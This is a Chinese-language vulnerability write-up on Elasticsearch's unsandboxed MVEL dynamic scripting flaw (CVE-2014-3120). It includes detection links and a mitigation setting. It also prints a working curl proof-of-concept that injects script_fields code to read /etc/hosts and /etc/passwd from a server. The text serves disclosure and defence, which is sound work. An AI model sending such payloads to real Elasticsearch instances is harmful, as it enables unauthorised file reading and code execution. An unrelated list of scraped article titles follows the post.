原理

这个漏洞实际上非常easy,ElasticSearch有脚本运行(scripting)的功能,能够非常方便地对查询出来的数据再加工处理。

ElasticSearch用的脚本引擎是MVEL,这个引擎没有做不论什么的防护,或者沙盒包装,所以直接能够运行随意代码。

而在ElasticSearch里,默认配置是打开动态脚本功能的,因此用户能够直接通过http请求,运行随意代码。

事实上官方是清楚这个漏洞的,在文档里有说明:

First, you should not run Elasticsearch as the root user, as this would allow a script to access or do anything on your server, without limitations. Second, you should not expose Elasticsearch directly to users, but instead have a proxy application inbetween.

检測方法

在线检測:

http://tool.scanv.com/es.html          能够检測随意地址

http://bouk.co/blog/elasticsearch-rce/poc.html   仅仅检測localhost。只是会输出/etc/hosts和/etc/passwd文件的内容到网页上

自己手动检測:

curl -XPOST 'http://localhost:9200/_search?

pretty' -d ' { "size": 1, "query": { "filtered": { "query": { "match_all": {} } } }, "script_fields": { "/etc/hosts": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/hosts\")).useDelimiter(\"\\\\Z\").next();" }, "/etc/passwd": { "script": "import java.util.*;\nimport java.io.*;\nnew Scanner(new File(\"/etc/passwd\")).useDelimiter(\"\\\\Z\").next();" } } } '

处理办法

关掉运行脚本功能,在配置文件elasticsearch.yml里为每个结点都加上:

script.disable_dynamic: true

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html#_disabling_dynamic_scripts

官方会在1.2版本号默认关闭动态脚本。

https://github.com/elasticsearch/elasticsearch/issues/5853

參考:

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html

http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/search-request-script-fields.html

http://bouk.co/blog/elasticsearch-rce/

转载于:https://www.cnblogs.com/jzssuanfa/p/6803338.html

ElasticSearch远程随意代码运行漏洞(CVE-2014-3120)分析相关推荐

  1. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  2. 远程命令/代码执行漏洞(RCE)总结

    介绍 Command Injection,即命令注入,是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的.PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一. 当应用需要调 ...

  3. php cgi远程控制,php cgi远程任意代码执行漏洞

    国外又发布了一个牛逼闪闪的php cgi远程任意代码执行漏洞:http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 粗看一下貌似没啥 ...

  4. hp代码改成linux代码,HP Database Archiving Software远程任意代码执行漏洞

    发布日期:2011-12-29 更新日期:2011-12-31 受影响系统: HP HP Database Archiving Software 6.31 描述: ------------------ ...

  5. Apache Log4j2远程JNDI代码执行漏洞修复

    #漏洞简介 Apache Log4j2远程代码执行漏洞 当打印的日志含有${字符串时程序会使用lookup解析要打印的字符串,执行任意远程代码,框架没有做相应的过滤导致注入.官网已经在2.16.0(j ...

  6. Kibana原型污染导致远程执行代码 CVE-2019-7609 漏洞复现

    Kibana原型污染导致远程执行代码(CVE-2019-7609) by ADummy 0x00利用路线 ​ 0x01漏洞介绍 ​ Kibana是Elasticsearch的开源数据可视化仪表板. 5 ...

  7. 不能执行已释放 script 的代码_[漏洞预警]CVE20190708远程桌面代码执行漏洞利用工具已放出...

    漏洞描述 2019年5月14日微软官方发布安全补丁,修复了Windows远程桌面服务的远程代码执行漏洞,该漏洞影响了许多版本的Windows操作系统.该漏洞在不需身份认证的情况下即可远程触发,危害与影 ...

  8. RCE详解(远程命令/代码执行漏洞)

    1.RCE(remote command/code execute)概述 RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统. 远程系统命令执行 一般出现这种漏洞, ...

  9. RCE 远程命令代码执行漏洞

    什么是REC Remote Command/Code Execute,远程命令或者代码执行.通过构造特殊的字符串,将数据提交到WEB应用程序,并利用该方式外部程序或命令进行攻击,类似SQL注入. We ...

最新文章

  1. 年薪25-50w| 虚拟现实创新中心三维重建算法高级研究员招聘
  2. 【 C 】对指针表达式的个人总结与思考
  3. java 偶数求和 数组_JAVA实现幻方
  4. java开发一年多少钱_4年Java程序员:月薪不过3万,就不要拿命换钱了
  5. 解决fiexd和transform一起用导致的失效问题
  6. 上课解除教师机控制(红蜘蛛)超详细
  7. 使用Python解二元一次方程组
  8. 2019年360笔试
  9. 发现一个提供免费英文软件类书籍的网站[xgluxv]
  10. dsp gpip操作 data set 和clc
  11. H5横幅,旗帜飘动动画
  12. 使用Python打印爱心
  13. Transformer计算量和过程统计
  14. STM32的空闲中断
  15. Cortex-A 系列处理器
  16. 来谈谈股民们的抄底问题,正确的短线交易是怎么玩的?活在市场里
  17. whatamitoyou-小白详解
  18. POJ 3842 An Industrial Spy 快筛质数+STL乱搞
  19. 优思学院|不可不知的FMEA分析
  20. 参加计算机社团的英语作文,欢迎参加我们俱乐部

热门文章

  1. 免oracle客户端下载,Oracle免安装客户端
  2. HTTP的长链接和短链接说明
  3. intel服务器最新主板芯片组,intel主板芯片组的介绍
  4. 更新 绑定数据_Blazor 修仙之旅 组件与数据绑定
  5. 手机技巧:手机关掉这个开关,一下能省2G内存,再也不怕卡顿死机
  6. ASP.NET MVC的过滤器笔记
  7. 高级程序员和低级程序员的区别
  8. python合法变量类型_Python 变量类型
  9. Java高级补充(Socket服务端、客户端)、Handler类、安卓Socket传数据、WebView
  10. afudos备份bios不动_bios刷坏后的两种解决方法